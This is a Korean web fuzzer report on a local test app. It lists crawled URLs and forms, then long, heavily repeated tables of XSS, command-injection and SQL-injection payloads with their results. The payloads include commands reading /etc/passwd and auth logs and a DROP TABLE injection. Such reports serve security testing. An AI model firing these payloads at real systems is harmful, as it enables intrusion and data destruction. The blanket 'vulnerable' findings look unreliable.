웹 퍼저 리포트

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목차

1. 크롤링 결과

크롤링한 URL
- http://localhost:3000/productDetail/53
- http://localhost:3000/productDetail/71
- http://localhost:3000/postDetail/65
- http://localhost:3000/productDetail/64
- http://localhost:3000/postDetail/69
- http://localhost:3000/productDetail/60
- http://localhost:3000/products/add
- http://localhost:3000/productDetail/8
- http://localhost:3000/postDetail/33
- http://localhost:3000/postDetail/18
- http://localhost:3000/products?page=5
- http://localhost:3000/productDetail/82
- http://localhost:3000/productDetail/33
- http://localhost:3000/productDetail/42
- http://localhost:3000/postDetail/41
- http://localhost:3000/productDetail/9
- http://localhost:3000/productDetail/10
- http://localhost:3000/postDetail/1
- http://localhost:3000/productDetail/26
- http://localhost:3000/productDetail/50
- http://localhost:3000/productDetail/20
- http://localhost:3000/postDetail/84
- http://localhost:3000/productDetail/79
- http://localhost:3000/postDetail/77

- http://localhost:3000/postDetail/6
- http://localhost:3000/productDetail/21
- http://localhost:3000/products?page=1
- http://localhost:3000/postDetail/74
- http://localhost:3000/register
- http://localhost:3000/postDetail/52
- http://localhost:3000/productDetail/57
- http://localhost:3000/postDetail/45
- http://localhost:3000/products?page=6
- http://localhost:3000/posts?page=5
- http://localhost:3000/postDetail/11
- http://localhost:3000/postDetail/22
- http://localhost:3000/postDetail/63
- http://localhost:3000/postDetail/13
- http://localhost:3000/productDetail/27
- http://localhost:3000/postDetail/82
- http://localhost:3000/postDetail/57
- http://localhost:3000/postDetail/53
- http://localhost:3000/postDetail/24
- http://localhost:3000/productDetail/36
- http://localhost:3000/productDetail/72
- http://localhost:3000/postDetail/5
- http://localhost:3000/postDetail/10
- http://localhost:3000/postDetail/68
- http://localhost:3000/productDetail/70
- http://localhost:3000/productDetail/4
- http://localhost:3000/products?page=4

- http://localhost:3000/productDetail/13
- http://localhost:3000/productDetail/54
- http://localhost:3000/productDetail/19
- http://localhost:3000/postDetail/73
- http://localhost:3000/postDetail/17
- http://localhost:3000/postDetail/54
- http://localhost:3000/postDetail/25
- http://localhost:3000/postDetail/3
- http://localhost:3000/products?page=2
- http://localhost:3000/postDetail/81
- http://localhost:3000/postDetail/55
- http://localhost:3000/productDetail/35
- http://localhost:3000/productDetail/55
- http://localhost:3000/productDetail/81
- http://localhost:3000/postDetail/37
- http://localhost:3000/productDetail/52
- http://localhost:3000/postDetail/16
- http://localhost:3000/productDetail/56
- http://localhost:3000/postDetail/36
- http://localhost:3000/productDetail/83
- http://localhost:3000/productDetail/65
- http://localhost:3000/posts
- http://localhost:3000/postDetail/43
- http://localhost:3000/productDetail/6
- http://localhost:3000/postDetail/44
- http://localhost:3000/productDetail/16
- http://localhost:3000/productDetail/47

- http://localhost:3000/

- http://localhost:3000/postDetail/85

- http://localhost:3000/postDetail/80

- http://localhost:3000/productDetail/22

- http://localhost:3000/postDetail/14

- http://localhost:3000/postDetail/32

- http://localhost:3000/postDetail/61

- http://localhost:3000/productDetail/3

- http://localhost:3000/postDetail/4

- http://localhost:3000/products?page=3

- http://localhost:3000/postDetail/15

- http://localhost:3000/products

- http://localhost:3000/productDetail/17

- http://localhost:3000/productDetail/84

- http://localhost:3000/productDetail/15

- http://localhost:3000/postDetail/28

- http://localhost:3000/postDetail/58

- http://localhost:3000/postDetail/64

- http://localhost:3000/postDetail/12

- http://localhost:3000/postDetail/51

- http://localhost:3000/postDetail/62

- http://localhost:3000/productDetail/74

- http://localhost:3000/postDetail/48

- http://localhost:3000/productDetail/39

- http://localhost:3000/productDetail/61

- http://localhost:3000/productDetail/25

- http://localhost:3000/productDetail/76

- http://localhost:3000/postDetail/79
- http://localhost:3000/postDetail/78
- http://localhost:3000/posts?page=6
- http://localhost:3000/postDetail/38
- http://localhost:3000/posts?page=4
- http://localhost:3000/productDetail/28
- http://localhost:3000/productDetail/68
- http://localhost:3000/postDetail/20
- http://localhost:3000/postDetail/67
- http://localhost:3000/productDetail/23
- http://localhost:3000/productDetail/14
- http://localhost:3000/postDetail/34
- http://localhost:3000/productDetail/63
- http://localhost:3000/productDetail/43
- http://localhost:3000/productDetail/75
- http://localhost:3000/postDetail/31
- http://localhost:3000/postDetail/2
- http://localhost:3000/postDetail/47
- http://localhost:3000/postDetail/71
- http://localhost:3000/productDetail/80
- http://localhost:3000/productDetail/34
- http://localhost:3000/productDetail/7
- http://localhost:3000/postDetail/29
- http://localhost:3000/productDetail/49
- http://localhost:3000/postDetail/70
- http://localhost:3000/productDetail/48
- http://localhost:3000/productDetail/24

- http://localhost:3000/productDetail/40

- http://localhost:3000/productDetail/30

- http://localhost:3000/postDetail/23

- http://localhost:3000/postDetail/21

- http://localhost:3000/productDetail/45

- http://localhost:3000/postDetail/35

- http://localhost:3000/productDetail/85

- http://localhost:3000/productDetail/44

- http://localhost:3000/postDetail/40

- http://localhost:3000/productDetail/2

- http://localhost:3000/productDetail/41

- http://localhost:3000/postDetail/49

- http://localhost:3000/postDetail/59

- http://localhost:3000/postDetail/76

- http://localhost:3000/postDetail/42

- http://localhost:3000/productDetail/29

- http://localhost:3000/postDetail/75

- http://localhost:3000/productDetail/5

- http://localhost:3000/postDetail/39

- http://localhost:3000/productDetail/62

- http://localhost:3000/productDetail/66

- http://localhost:3000/postDetail/19

- http://localhost:3000/postDetail/50

- http://localhost:3000/postDetail/56

- http://localhost:3000/postDetail/60

- http://localhost:3000/productDetail/1

- http://localhost:3000/productDetail/38

- http://localhost:3000/productDetail/37

- http://localhost:3000/postDetail/7

- http://localhost:3000/postDetail/46

- http://localhost:3000/productDetail/78

- http://localhost:3000/login

- http://localhost:3000/productDetail/77

- http://localhost:3000/productDetail/51

- http://localhost:3000/postDetail/8

- http://localhost:3000/productDetail/59

- http://localhost:3000/productDetail/67

- http://localhost:3000/productDetail/32

- http://localhost:3000/postDetail/66

- http://localhost:3000/productDetail/69

- http://localhost:3000/posts/add

- http://localhost:3000/productDetail/46

- http://localhost:3000/posts?page=1

- http://localhost:3000/productDetail/31

- http://localhost:3000/postDetail/9

- http://localhost:3000/productDetail/11

- http://localhost:3000/productDetail/58

- http://localhost:3000/posts?page=3

- http://localhost:3000/postDetail/26

- http://localhost:3000/productDetail/73

- http://localhost:3000/posts?page=2

- http://localhost:3000/postDetail/72

- http://localhost:3000/postDetail/30

- http://localhost:3000/productDetail/12

- http://localhost:3000/productDetail/18

- http://localhost:3000/postDetail/83

- http://localhost:3000/postDetail/27

2. 폼과 입력 필드

URL	폼 액션	메소드	입력 필드
http://localhost:3000/posts	http://localhost:3000/products/search	GET	query (type: text)
http://localhost:3000/products	http://localhost:3000/products/search	GET	query (type: text)
http://localhost:3000/login	http://localhost:3000/login	POST	username (type: text), password (type: password)
http://localhost:3000/posts/add	http://localhost:3000/posts/add	POST	title (type: text), content (type: textarea), file (type: file)
http://localhost:3000/posts?page=1	http://localhost:3000/products/search	GET	query (type: text)
http://localhost:3000/posts?page=6	http://localhost:3000/products/search	GET	query (type: text)
http://localhost:3000/posts?page=5	http://localhost:3000/products/search	GET	query (type: text)
http://localhost:3000/posts?page=3	http://localhost:3000/products/search	GET	query (type: text)
http://localhost:3000/posts?page=4	http://localhost:3000/products/search	GET	query (type: text)
http://localhost:3000/posts?page=2	http://localhost:3000/products/search	GET	query (type: text)
http://localhost:3000/products?page=1	http://localhost:3000/products/search	GET	query (type: text)
http://localhost:3000/products/add	http://localhost:3000/products/add	POST	name (type: text), description (type: textarea), price (type: number)

http://localhost:3000/products?page=5	http://localhost:3000/products/search	GET	query (type: text)
http://localhost:3000/products?page=2	http://localhost:3000/products/search	GET	query (type: text)
http://localhost:3000/products?page=6	http://localhost:3000/products/search	GET	query (type: text)
http://localhost:3000/products?page=3	http://localhost:3000/products/search	GET	query (type: text)
http://localhost:3000/products?page=4	http://localhost:3000/products/search	GET	query (type: text)
http://localhost:3000/register	http://localhost:3000/register	POST	username (type: text), password (type: password), confirmPassword (type: password)

3. 퍼징 시도 및 결과

-- 취약점 발견 시도 --
XSS

폼 액션	페이로드	결과
http://localhost:3000/products/search	<img src=x onerror=alert('XSS')>	XSS 취약점 발견
http://localhost:3000/products/search	<svg/onload=alert('XSS')>	XSS 취약점 발견
http://localhost:3000/products/search	'"><script>alert('XSS')</script>	XSS 취약점 발견
http://localhost:3000/products/search	<script>alert('XSS')</script>	XSS 취약점 발견
http://localhost:3000/products/search	<iframe src='javascript:alert("XSS")'></iframe>	XSS 취약점 발견
http://localhost:3000/products/search	<script>alert('XSS')</script>	XSS 취약점 발견
http://localhost:3000/products/search	'"><script>alert('XSS')</script>	XSS 취약점 발견
http://localhost:3000/products/search	<img src=x onerror=alert('XSS')>	XSS 취약점 발견
http://localhost:3000/products/search	<svg/onload=alert('XSS')>	XSS 취약점 발견
http://localhost:3000/products/search	<iframe src='javascript:alert("XSS")'></iframe>	XSS 취약점 발견
http://localhost:3000/products/search	<script>alert('XSS')</script>	XSS 취약점 발견
http://localhost:3000/products/search	<img src=x onerror=alert('XSS')>	XSS 취약점 발견
http://localhost:3000/products/search	'"><script>alert('XSS')</script>	XSS 취약점 발견
http://localhost:3000/products/search	<svg/onload=alert('XSS')>	XSS 취약점 발견
http://localhost:3000/products/search	<iframe src='javascript:alert("XSS")'></iframe>	XSS 취약점 발견

http://localhost:3000/products/search	`<script>alert('XSS')</script>`	XSS 취약점 발견
http://localhost:3000/products/search	`'"><script>alert('XSS')</script>`	XSS 취약점 발견
http://localhost:3000/products/search	`<img src=x onerror=alert('XSS')>`	XSS 취약점 발견
http://localhost:3000/products/search	`<svg/onload=alert('XSS')>`	XSS 취약점 발견
http://localhost:3000/products/search	`<iframe src='javascript:alert("XSS")'></iframe>`	XSS 취약점 발견
http://localhost:3000/products/search	`<script>alert('XSS')</script>`	XSS 취약점 발견
http://localhost:3000/products/search	`'"><script>alert('XSS')</script>`	XSS 취약점 발견
http://localhost:3000/products/search	`<svg/onload=alert('XSS')>`	XSS 취약점 발견
http://localhost:3000/products/search	`<img src=x onerror=alert('XSS')>`	XSS 취약점 발견
http://localhost:3000/products/search	`<iframe src='javascript:alert("XSS")'></iframe>`	XSS 취약점 발견
http://localhost:3000/products/search	`<script>alert('XSS')</script>`	XSS 취약점 발견
http://localhost:3000/products/search	`'"><script>alert('XSS')</script>`	XSS 취약점 발견
http://localhost:3000/products/search	`<img src=x onerror=alert('XSS')>`	XSS 취약점 발견
http://localhost:3000/products/search	`<svg/onload=alert('XSS')>`	XSS 취약점 발견
http://localhost:3000/products/search	`<iframe src='javascript:alert("XSS")'></iframe>`	XSS 취약점 발견
http://localhost:3000/products/search	`<script>alert('XSS')</script>`	XSS 취약점 발견
http://localhost:3000/products/search	`'"><script>alert('XSS')</script>`	XSS 취약점 발견
http://localhost:3000/products/search	`<img src=x onerror=alert('XSS')>`	XSS 취약점 발견

http://localhost:3000/products/search	<svg/onload=alert('XSS')>	XSS 취약점 발견
http://localhost:3000/products/search	<iframe src='javascript:alert("XSS")'></iframe>	XSS 취약점 발견
http://localhost:3000/products/search	<script>alert('XSS')</script>	XSS 취약점 발견
http://localhost:3000/products/search	'"><script>alert('XSS')</script>	XSS 취약점 발견
http://localhost:3000/products/search	<img src=x onerror=alert('XSS')>	XSS 취약점 발견
http://localhost:3000/products/search	<svg/onload=alert('XSS')>	XSS 취약점 발견
http://localhost:3000/products/search	<iframe src='javascript:alert("XSS")'></iframe>	XSS 취약점 발견
http://localhost:3000/products/search	<script>alert('XSS')</script>	XSS 취약점 발견
http://localhost:3000/products/search	'"><script>alert('XSS')</script>	XSS 취약점 발견
http://localhost:3000/products/search	<svg/onload=alert('XSS')>	XSS 취약점 발견
http://localhost:3000/products/search	<img src=x onerror=alert('XSS')>	XSS 취약점 발견
http://localhost:3000/products/search	<iframe src='javascript:alert("XSS")'></iframe>	XSS 취약점 발견
http://localhost:3000/products/search	<script>alert('XSS')</script>	XSS 취약점 발견
http://localhost:3000/products/search	'"><script>alert('XSS')</script>	XSS 취약점 발견
http://localhost:3000/products/search	<img src=x onerror=alert('XSS')>	XSS 취약점 발견
http://localhost:3000/products/search	<svg/onload=alert('XSS')>	XSS 취약점 발견
http://localhost:3000/products/search	<iframe src='javascript:alert("XSS")'></iframe>	XSS 취약점 발견
http://localhost:3000/products/search	<script>alert('XSS')</script>	XSS 취약점 발견

http://localhost:3000/products/search	'"><script>alert('XSS')</script>	XSS 취약점 발견
http://localhost:3000/products/search	<img src=x onerror=alert('XSS')>	XSS 취약점 발견
http://localhost:3000/products/search	<iframe src='javascript:alert("XSS")'></iframe>	XSS 취약점 발견
http://localhost:3000/products/search	<svg/onload=alert('XSS')>	XSS 취약점 발견
http://localhost:3000/products/search	<script>alert('XSS')</script>	XSS 취약점 발견
http://localhost:3000/products/search	'"><script>alert('XSS')</script>	XSS 취약점 발견
http://localhost:3000/products/search	<img src=x onerror=alert('XSS')>	XSS 취약점 발견
http://localhost:3000/products/search	<svg/onload=alert('XSS')>	XSS 취약점 발견
http://localhost:3000/products/search	<iframe src='javascript:alert("XSS")'></iframe>	XSS 취약점 발견
http://localhost:3000/products/search	<script>alert('XSS')</script>	XSS 취약점 발견
http://localhost:3000/products/search	'"><script>alert('XSS')</script>	XSS 취약점 발견
http://localhost:3000/products/search	<img src=x onerror=alert('XSS')>	XSS 취약점 발견
http://localhost:3000/products/search	<svg/onload=alert('XSS')>	XSS 취약점 발견
http://localhost:3000/products/search	<iframe src='javascript:alert("XSS")'></iframe>	XSS 취약점 발견
http://localhost:3000/products/search	<script>alert('XSS')</script>	XSS 취약점 발견
http://localhost:3000/products/search	'"><script>alert('XSS')</script>	XSS 취약점 발견
http://localhost:3000/products/search	<img src=x onerror=alert('XSS')>	XSS 취약점 발견
http://localhost:3000/products/search	<svg/onload=alert('XSS')>	XSS 취약점 발견

http://localhost:3000/products/search	\<iframe src='javascript:alert("XSS")'\>\</iframe\>	XSS 취약점 발견

Command Injection

폼 액션	페이로드	결과
http://localhost:3000/products/search	; ls	Command Injection 취약점 발견
http://localhost:3000/products/search	| whoami	Command Injection 취약점 발견
http://localhost:3000/products/search	&& cat /etc/passwd	Command Injection 취약점 발견
http://localhost:3000/products/search	netstat -an	Command Injection 취약점 발견
http://localhost:3000/products/search	ps aux	Command Injection 취약점 발견
http://localhost:3000/products/search	&& cat /var/log/auth.log	Command Injection 취약점 발견
http://localhost:3000/products/search	; ls	Command Injection 취약점 발견
http://localhost:3000/products/search	| whoami	Command Injection 취약점 발견
http://localhost:3000/products/search	&& cat /etc/passwd	Command Injection 취약점 발견
http://localhost:3000/products/search	netstat -an	Command Injection 취약점 발견
http://localhost:3000/products/search	&& cat /var/log/auth.log	Command Injection 취약점 발견
http://localhost:3000/products/search	ps aux	Command Injection 취약점 발견
http://localhost:3000/login	; ls	Command Injection 취약점 발견
http://localhost:3000/login	&& cat /etc/passwd	Command Injection 취약점 발견
http://localhost:3000/login	| whoami	Command Injection 취약점 발견
http://localhost:3000/login	netstat -an	Command Injection 취약점 발견
http://localhost:3000/login	ps aux	Command Injection 취약점 발견

http://localhost:3000/login	&& cat /var/log/auth.log	Command Injection 취약점 발견
http://localhost:3000/posts/add	; ls	Command Injection 취약점 발견
http://localhost:3000/posts/add	| whoami	Command Injection 취약점 발견
http://localhost:3000/posts/add	netstat -an	Command Injection 취약점 발견
http://localhost:3000/posts/add	&& cat /etc/passwd	Command Injection 취약점 발견
http://localhost:3000/posts/add	&& cat /var/log/auth.log	Command Injection 취약점 발견
http://localhost:3000/posts/add	ps aux	Command Injection 취약점 발견
http://localhost:3000/products/search	; ls	Command Injection 취약점 발견
http://localhost:3000/products/search	&& cat /etc/passwd	Command Injection 취약점 발견
http://localhost:3000/products/search	| whoami	Command Injection 취약점 발견
http://localhost:3000/products/search	netstat -an	Command Injection 취약점 발견
http://localhost:3000/products/search	ps aux	Command Injection 취약점 발견
http://localhost:3000/products/search	&& cat /var/log/auth.log	Command Injection 취약점 발견
http://localhost:3000/products/search	; ls	Command Injection 취약점 발견
http://localhost:3000/products/search	| whoami	Command Injection 취약점 발견
http://localhost:3000/products/search	&& cat /etc/passwd	Command Injection 취약점 발견
http://localhost:3000/products/search	netstat -an	Command Injection 취약점 발견
http://localhost:3000/products/search	&& cat /var/log/auth.log	Command Injection 취약점 발견

http://localhost:3000/products/search	ps aux	Command Injection 취약점 발견
http://localhost:3000/products/search	; ls	Command Injection 취약점 발견
http://localhost:3000/products/search	| whoami	Command Injection 취약점 발견
http://localhost:3000/products/search	&& cat /etc/passwd	Command Injection 취약점 발견
http://localhost:3000/products/search	netstat -an	Command Injection 취약점 발견
http://localhost:3000/products/search	ps aux	Command Injection 취약점 발견
http://localhost:3000/products/search	&& cat /var/log/auth.log	Command Injection 취약점 발견
http://localhost:3000/products/search	; ls	Command Injection 취약점 발견
http://localhost:3000/products/search	| whoami	Command Injection 취약점 발견
http://localhost:3000/products/search	&& cat /etc/passwd	Command Injection 취약점 발견
http://localhost:3000/products/search	netstat -an	Command Injection 취약점 발견
http://localhost:3000/products/search	ps aux	Command Injection 취약점 발견
http://localhost:3000/products/search	&& cat /var/log/auth.log	Command Injection 취약점 발견
http://localhost:3000/products/search	; ls	Command Injection 취약점 발견
http://localhost:3000/products/search	| whoami	Command Injection 취약점 발견
http://localhost:3000/products/search	&& cat /etc/passwd	Command Injection 취약점 발견
http://localhost:3000/products/search	netstat -an	Command Injection 취약점 발견
http://localhost:3000/products/search	ps aux	Command Injection 취약점 발견

http://localhost:3000/products/search	&& cat /var/log/auth.log	Command Injection 취약점 발견
http://localhost:3000/products/search	; ls	Command Injection 취약점 발견
http://localhost:3000/products/search	| whoami	Command Injection 취약점 발견
http://localhost:3000/products/search	&& cat /etc/passwd	Command Injection 취약점 발견
http://localhost:3000/products/search	netstat -an	Command Injection 취약점 발견
http://localhost:3000/products/search	ps aux	Command Injection 취약점 발견
http://localhost:3000/products/search	&& cat /var/log/auth.log	Command Injection 취약점 발견
http://localhost:3000/products/search	; ls	Command Injection 취약점 발견
http://localhost:3000/products/search	| whoami	Command Injection 취약점 발견
http://localhost:3000/products/search	&& cat /etc/passwd	Command Injection 취약점 발견
http://localhost:3000/products/search	netstat -an	Command Injection 취약점 발견
http://localhost:3000/products/search	ps aux	Command Injection 취약점 발견
http://localhost:3000/products/search	&& cat /var/log/auth.log	Command Injection 취약점 발견
http://localhost:3000/products/add	; ls	Command Injection 취약점 발견
http://localhost:3000/products/add	| whoami	Command Injection 취약점 발견
http://localhost:3000/products/add	&& cat /etc/passwd	Command Injection 취약점 발견
http://localhost:3000/products/add	netstat -an	Command Injection 취약점 발견
http://localhost:3000/products/add	ps aux	Command Injection 취약점 발견

http://localhost:3000/products/add	&& cat /var/log/auth.log	Command Injection 취약점 발견
http://localhost:3000/products/search	; ls	Command Injection 취약점 발견
http://localhost:3000/products/search	| whoami	Command Injection 취약점 발견
http://localhost:3000/products/search	&& cat /etc/passwd	Command Injection 취약점 발견
http://localhost:3000/products/search	netstat -an	Command Injection 취약점 발견
http://localhost:3000/products/search	ps aux	Command Injection 취약점 발견
http://localhost:3000/products/search	&& cat /var/log/auth.log	Command Injection 취약점 발견
http://localhost:3000/products/search	; ls	Command Injection 취약점 발견
http://localhost:3000/products/search	| whoami	Command Injection 취약점 발견
http://localhost:3000/products/search	&& cat /etc/passwd	Command Injection 취약점 발견
http://localhost:3000/products/search	netstat -an	Command Injection 취약점 발견
http://localhost:3000/products/search	ps aux	Command Injection 취약점 발견
http://localhost:3000/products/search	&& cat /var/log/auth.log	Command Injection 취약점 발견
http://localhost:3000/products/search	; ls	Command Injection 취약점 발견
http://localhost:3000/products/search	| whoami	Command Injection 취약점 발견
http://localhost:3000/products/search	&& cat /etc/passwd	Command Injection 취약점 발견
http://localhost:3000/products/search	netstat -an	Command Injection 취약점 발견
http://localhost:3000/products/search	ps aux	Command Injection 취약점 발견

http://localhost:3000/products/search	&& cat /var/log/auth.log	Command Injection 취약점 발견
http://localhost:3000/products/search	; ls	Command Injection 취약점 발견
http://localhost:3000/products/search	| whoami	Command Injection 취약점 발견
http://localhost:3000/products/search	&& cat /etc/passwd	Command Injection 취약점 발견
http://localhost:3000/products/search	netstat -an	Command Injection 취약점 발견
http://localhost:3000/products/search	ps aux	Command Injection 취약점 발견
http://localhost:3000/products/search	&& cat /var/log/auth.log	Command Injection 취약점 발견
http://localhost:3000/products/search	; ls	Command Injection 취약점 발견
http://localhost:3000/products/search	| whoami	Command Injection 취약점 발견
http://localhost:3000/products/search	&& cat /etc/passwd	Command Injection 취약점 발견
http://localhost:3000/products/search	netstat -an	Command Injection 취약점 발견
http://localhost:3000/products/search	ps aux	Command Injection 취약점 발견
http://localhost:3000/products/search	&& cat /var/log/auth.log	Command Injection 취약점 발견
http://localhost:3000/register	ps aux	Command Injection 취약점 발견
http://localhost:3000/register	; ls	Command Injection 취약점 발견
http://localhost:3000/register	| whoami	Command Injection 취약점 발견
http://localhost:3000/register	netstat -an	Command Injection 취약점 발견
http://localhost:3000/register	&& cat /var/log/auth.log	Command Injection 취약점 발견

| http://localhost:3000/register | && cat /etc/passwd | Command Injection 취약점 발견 |

SQL Injection

폼 액션	페이로드	결과
http://localhost:3000/posts/add	' OR '1'='1' /*	SQL Injection 취약점 발견
http://localhost:3000/posts/add	' OR '1'='1	SQL Injection 취약점 발견
http://localhost:3000/posts/add	'; DROP TABLE users; --	SQL Injection 취약점 발견
http://localhost:3000/posts/add	admin' --	SQL Injection 취약점 발견
http://localhost:3000/posts/add	' OR '1'='1' ({	SQL Injection 취약점 발견
http://localhost:3000/posts/add	' OR '1'='1' #	SQL Injection 취약점 발견
http://localhost:3000/products/add	' OR '1'='1	SQL Injection 취약점 발견
http://localhost:3000/products/add	' OR '1'='1' /*	SQL Injection 취약점 발견
http://localhost:3000/products/add	'; DROP TABLE users; --	SQL Injection 취약점 발견
http://localhost:3000/products/add	admin' --	SQL Injection 취약점 발견
http://localhost:3000/products/add	' OR '1'='1' #	SQL Injection 취약점 발견
http://localhost:3000/products/add	' OR '1'='1' ({	SQL Injection 취약점 발견

취약점 없는 시도

폼 액션	페이로드	결과
http://localhost:3000/products/search	'; DROP TABLE users; --	취약점 없음
http://localhost:3000/products/search	' OR '1'='1' ({	취약점 없음
http://localhost:3000/products/search	admin' --	취약점 없음
http://localhost:3000/products/search	' OR '1'='1' /*	취약점 없음
http://localhost:3000/products/search	' OR '1'='1' #	취약점 없음
http://localhost:3000/products/search	' OR '1'='1	취약점 없음
http://localhost:3000/products/search	' OR '1'='1	취약점 없음
http://localhost:3000/products/search	'; DROP TABLE users; --	취약점 없음
http://localhost:3000/products/search	' OR '1'='1' /*	취약점 없음
http://localhost:3000/products/search	' OR '1'='1' ({	취약점 없음
http://localhost:3000/products/search	admin' --	취약점 없음
http://localhost:3000/products/search	' OR '1'='1' #	취약점 없음
http://localhost:3000/login	'; DROP TABLE users; --	취약점 없음
http://localhost:3000/login	' OR '1'='1' ({	취약점 없음
http://localhost:3000/login	' OR '1'='1' #	취약점 없음
http://localhost:3000/login	<script>alert('XSS')</script>	취약점 없음
http://localhost:3000/login	'"><script>alert('XSS')</script>	취약점 없음

http://localhost:3000/login	\<img src=x onerror=alert('XSS')\>	취약점 없음
http://localhost:3000/login	\<svg/onload=alert('XSS')\>	취약점 없음
http://localhost:3000/login	\<iframe src='javascript:alert("XSS")'\>\</iframe\>	취약점 없음
http://localhost:3000/login	' OR '1'='1	취약점 없음
http://localhost:3000/login	' OR '1'='1' /*	취약점 없음
http://localhost:3000/login	admin' --	취약점 없음
http://localhost:3000/posts/add	\<script\>alert('XSS')\</script\>	취약점 없음
http://localhost:3000/posts/add	'"\>\<script\>alert('XSS')\</script\>	취약점 없음
http://localhost:3000/posts/add	\<img src=x onerror=alert('XSS')\>	취약점 없음
http://localhost:3000/posts/add	\<svg/onload=alert('XSS')\>	취약점 없음
http://localhost:3000/products/search	'; DROP TABLE users; --	취약점 없음
http://localhost:3000/products/search	' OR '1'='1	취약점 없음
http://localhost:3000/posts/add	\<iframe src='javascript:alert("XSS")'\>\</iframe\>	취약점 없음
http://localhost:3000/products/search	' OR '1'='1' /*	취약점 없음
http://localhost:3000/products/search	admin' --	취약점 없음
http://localhost:3000/products/search	' OR '1'='1' ({	취약점 없음
http://localhost:3000/products/search	' OR '1'='1' #	취약점 없음
http://localhost:3000/products/search	'; DROP TABLE users; --	취약점 없음

http://localhost:3000/products/search	' OR '1'='1	취약점 없음
http://localhost:3000/products/search	' OR '1'='1' /*	취약점 없음
http://localhost:3000/products/search	' OR '1'='1' ({	취약점 없음
http://localhost:3000/products/search	' OR '1'='1' #	취약점 없음
http://localhost:3000/products/search	admin' --	취약점 없음
http://localhost:3000/products/search	' OR '1'='1	취약점 없음
http://localhost:3000/products/search	'; DROP TABLE users; --	취약점 없음
http://localhost:3000/products/search	' OR '1'='1' /*	취약점 없음
http://localhost:3000/products/search	' OR '1'='1' ({	취약점 없음
http://localhost:3000/products/search	admin' --	취약점 없음
http://localhost:3000/products/search	' OR '1'='1' #	취약점 없음
http://localhost:3000/products/search	' OR '1'='1' /*	취약점 없음
http://localhost:3000/products/search	' OR '1'='1	취약점 없음
http://localhost:3000/products/search	'; DROP TABLE users; --	취약점 없음
http://localhost:3000/products/search	' OR '1'='1' ({	취약점 없음
http://localhost:3000/products/search	admin' --	취약점 없음
http://localhost:3000/products/search	' OR '1'='1' #	취약점 없음
http://localhost:3000/products/search	' OR '1'='1	취약점 없음

http://localhost:3000/products/search	'; DROP TABLE users; --	취약점 없음
http://localhost:3000/products/search	' OR '1'='1' /*	취약점 없음
http://localhost:3000/products/search	' OR '1'='1' ({	취약점 없음
http://localhost:3000/products/search	admin' --	취약점 없음
http://localhost:3000/products/search	' OR '1'='1' #	취약점 없음
http://localhost:3000/products/search	' OR '1'='1	취약점 없음
http://localhost:3000/products/search	'; DROP TABLE users; --	취약점 없음
http://localhost:3000/products/search	' OR '1'='1' /*	취약점 없음
http://localhost:3000/products/search	' OR '1'='1' ({	취약점 없음
http://localhost:3000/products/search	admin' --	취약점 없음
http://localhost:3000/products/search	' OR '1'='1' #	취약점 없음
http://localhost:3000/products/search	' OR '1'='1	취약점 없음
http://localhost:3000/products/search	'; DROP TABLE users; --	취약점 없음
http://localhost:3000/products/search	' OR '1'='1' /*	취약점 없음
http://localhost:3000/products/search	' OR '1'='1' ({	취약점 없음
http://localhost:3000/products/search	admin' --	취약점 없음
http://localhost:3000/products/search	' OR '1'='1' #	취약점 없음
http://localhost:3000/products/add	<script>alert('XSS')</script>	취약점 없음

http://localhost:3000/products/add	'"\>\<script\>alert('XSS')\</script\>	취약점 없음
http://localhost:3000/products/add	\<img src=x onerror=alert('XSS')\>	취약점 없음
http://localhost:3000/products/add	\<svg/onload=alert('XSS')\>	취약점 없음
http://localhost:3000/products/search	' OR '1'='1	취약점 없음
http://localhost:3000/products/search	'; DROP TABLE users; --	취약점 없음
http://localhost:3000/products/add	\<iframe src='javascript:alert("XSS")'\>\</iframe\>	취약점 없음
http://localhost:3000/products/search	' OR '1'='1' /*	취약점 없음
http://localhost:3000/products/search	' OR '1'='1' ({	취약점 없음
http://localhost:3000/products/search	admin' --	취약점 없음
http://localhost:3000/products/search	' OR '1'='1' #	취약점 없음
http://localhost:3000/products/search	' OR '1'='1	취약점 없음
http://localhost:3000/products/search	'; DROP TABLE users; --	취약점 없음
http://localhost:3000/products/search	' OR '1'='1' /*	취약점 없음
http://localhost:3000/products/search	' OR '1'='1' ({	취약점 없음
http://localhost:3000/products/search	' OR '1'='1' #	취약점 없음
http://localhost:3000/products/search	admin' --	취약점 없음
http://localhost:3000/products/search	' OR '1'='1	취약점 없음
http://localhost:3000/products/search	'; DROP TABLE users; --	취약점 없음

http://localhost:3000/products/search	' OR '1'='1' /*	취약점 없음
http://localhost:3000/products/search	' OR '1'='1' ({	취약점 없음
http://localhost:3000/products/search	admin' --	취약점 없음
http://localhost:3000/products/search	' OR '1'='1' #	취약점 없음
http://localhost:3000/products/search	' OR '1'='1	취약점 없음
http://localhost:3000/products/search	'; DROP TABLE users; --	취약점 없음
http://localhost:3000/products/search	' OR '1'='1' /*	취약점 없음
http://localhost:3000/products/search	' OR '1'='1' ({	취약점 없음
http://localhost:3000/products/search	admin' --	취약점 없음
http://localhost:3000/products/search	' OR '1'='1' #	취약점 없음
http://localhost:3000/products/search	' OR '1'='1	취약점 없음
http://localhost:3000/products/search	'; DROP TABLE users; --	취약점 없음
http://localhost:3000/products/search	' OR '1'='1' /*	취약점 없음
http://localhost:3000/products/search	admin' --	취약점 없음
http://localhost:3000/products/search	' OR '1'='1' ({	취약점 없음
http://localhost:3000/products/search	' OR '1'='1' #	취약점 없음
http://localhost:3000/register	' OR '1'='1	취약점 없음
http://localhost:3000/register	admin' --	취약점 없음

http://localhost:3000/register	'; DROP TABLE users; --	취약점 없음
http://localhost:3000/register	' OR '1'='1' /*	취약점 없음
http://localhost:3000/register	' OR '1'='1' ({	취약점 없음
http://localhost:3000/register	' OR '1'='1' #	취약점 없음
http://localhost:3000/register	<img src=x onerror=alert('XSS')>	취약점 없음
http://localhost:3000/register	<script>alert('XSS')</script>	취약점 없음
http://localhost:3000/register	'"><script>alert('XSS')</script>	취약점 없음
http://localhost:3000/register	<svg/onload=alert('XSS')>	취약점 없음
http://localhost:3000/register	<iframe src='javascript:alert("XSS")'></iframe>	취약점 없음